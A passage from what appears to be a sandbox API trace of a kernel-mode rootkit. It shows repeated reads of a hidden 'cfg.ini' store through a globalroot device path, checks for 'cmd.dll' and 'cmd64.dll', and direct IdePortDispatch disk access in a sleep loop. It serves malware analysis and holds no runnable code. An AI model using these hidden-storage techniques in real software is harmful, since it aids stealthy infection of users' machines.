out: FastMutex=0xfffffa80027d3898) [0122.107] KeLeaveCriticalRegion () [0122.107] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.107] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.107] KeEnterCriticalRegion () [0122.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.107] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.107] KeLeaveCriticalRegion () [0122.108] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.108] KeEnterCriticalRegion () [0122.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.108] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.108] IdePortDispatch () returned 0x103 [0122.108] KeWaitForMutexObject () returned 0x0 [0122.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.108] KeLeaveCriticalRegion () [0122.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.108] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.108] KeEnterCriticalRegion () [0122.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.108] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2a000 [0122.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.108] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.108] IdePortDispatch () returned 0x103 [0122.108] KeWaitForMutexObject () returned 0x0 [0122.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.108] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.108] IdePortDispatch () returned 0x103 [0122.109] KeWaitForMutexObject () returned 0x0 [0122.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.109] KeLeaveCriticalRegion () [0122.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.110] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.110] KeEnterCriticalRegion () [0122.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.110] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.110] KeLeaveCriticalRegion () [0122.110] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.110] KeEnterCriticalRegion () [0122.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.110] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.110] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.110] KeLeaveCriticalRegion () [0122.110] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.110] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.110] KeEnterCriticalRegion () [0122.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.110] ExFreePoolWithTag (P=0xfffffa8003be3850, Tag=0x0) [0122.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.110] KeLeaveCriticalRegion () [0122.110] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.110] ReleaseMutex (hMutex=0xf0) returned 1 [0122.110] Sleep (dwMilliseconds=0x124f80) [0122.125] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.125] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.125] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.125] KeEnterCriticalRegion () [0122.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.125] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.125] IdePortDispatch () returned 0x103 [0122.125] KeWaitForMutexObject () returned 0x0 [0122.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.125] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.125] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.125] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.125] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.125] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9550 [0122.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.125] KeLeaveCriticalRegion () [0122.125] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.125] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.125] KeEnterCriticalRegion () [0122.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.125] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.125] KeLeaveCriticalRegion () [0122.125] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.125] KeEnterCriticalRegion () [0122.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.126] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.126] IdePortDispatch () returned 0x103 [0122.126] KeWaitForMutexObject () returned 0x0 [0122.126] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.126] KeLeaveCriticalRegion () [0122.126] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.126] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.126] KeEnterCriticalRegion () [0122.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.126] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2f000 [0122.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.126] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.126] IdePortDispatch () returned 0x103 [0122.126] KeWaitForMutexObject () returned 0x0 [0122.126] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.126] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.126] IdePortDispatch () returned 0x103 [0122.127] KeWaitForMutexObject () returned 0x0 [0122.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.127] KeLeaveCriticalRegion () [0122.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.127] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.127] KeEnterCriticalRegion () [0122.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.127] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.127] KeLeaveCriticalRegion () [0122.127] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.127] KeEnterCriticalRegion () [0122.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.127] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.127] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.127] KeLeaveCriticalRegion () [0122.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.127] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.127] KeEnterCriticalRegion () [0122.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.127] ExFreePoolWithTag (P=0xfffffa8003bc9550, Tag=0x0) [0122.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.127] KeLeaveCriticalRegion () [0122.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.128] ReleaseMutex (hMutex=0xf0) returned 1 [0122.128] Sleep (dwMilliseconds=0x124f80) [0122.143] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.143] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.143] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.143] KeEnterCriticalRegion () [0122.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.143] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.143] IdePortDispatch () returned 0x103 [0122.143] KeWaitForMutexObject () returned 0x0 [0122.143] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.143] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.143] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.143] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.143] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.143] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3190 [0122.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.143] KeLeaveCriticalRegion () [0122.143] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.143] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.143] KeEnterCriticalRegion () [0122.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.144] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.144] KeLeaveCriticalRegion () [0122.144] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.144] KeEnterCriticalRegion () [0122.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.144] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.144] IdePortDispatch () returned 0x103 [0122.144] KeWaitForMutexObject () returned 0x0 [0122.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.144] KeLeaveCriticalRegion () [0122.144] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.144] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.144] KeEnterCriticalRegion () [0122.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c37000 [0122.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.144] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.144] IdePortDispatch () returned 0x103 [0122.144] KeWaitForMutexObject () returned 0x0 [0122.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.144] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.145] IdePortDispatch () returned 0x103 [0122.145] KeWaitForMutexObject () returned 0x0 [0122.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.145] KeLeaveCriticalRegion () [0122.145] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.145] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.145] KeEnterCriticalRegion () [0122.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.145] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.145] KeLeaveCriticalRegion () [0122.145] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.145] KeEnterCriticalRegion () [0122.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.145] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.145] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.145] KeLeaveCriticalRegion () [0122.145] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.145] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.146] KeEnterCriticalRegion () [0122.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.146] ExFreePoolWithTag (P=0xfffffa8003be3190, Tag=0x0) [0122.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.146] KeLeaveCriticalRegion () [0122.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.146] ReleaseMutex (hMutex=0xf0) returned 1 [0122.146] Sleep (dwMilliseconds=0x124f80) [0122.161] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.161] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.161] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.161] KeEnterCriticalRegion () [0122.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.161] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.161] IdePortDispatch () returned 0x103 [0122.161] KeWaitForMutexObject () returned 0x0 [0122.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.161] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.161] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.161] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.161] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.161] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3190 [0122.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.161] KeLeaveCriticalRegion () [0122.161] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.161] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.161] KeEnterCriticalRegion () [0122.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.161] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.162] KeLeaveCriticalRegion () [0122.162] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.162] KeEnterCriticalRegion () [0122.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.162] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.162] IdePortDispatch () returned 0x103 [0122.162] KeWaitForMutexObject () returned 0x0 [0122.162] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.162] KeLeaveCriticalRegion () [0122.162] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.162] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.162] KeEnterCriticalRegion () [0122.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c40000 [0122.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.162] 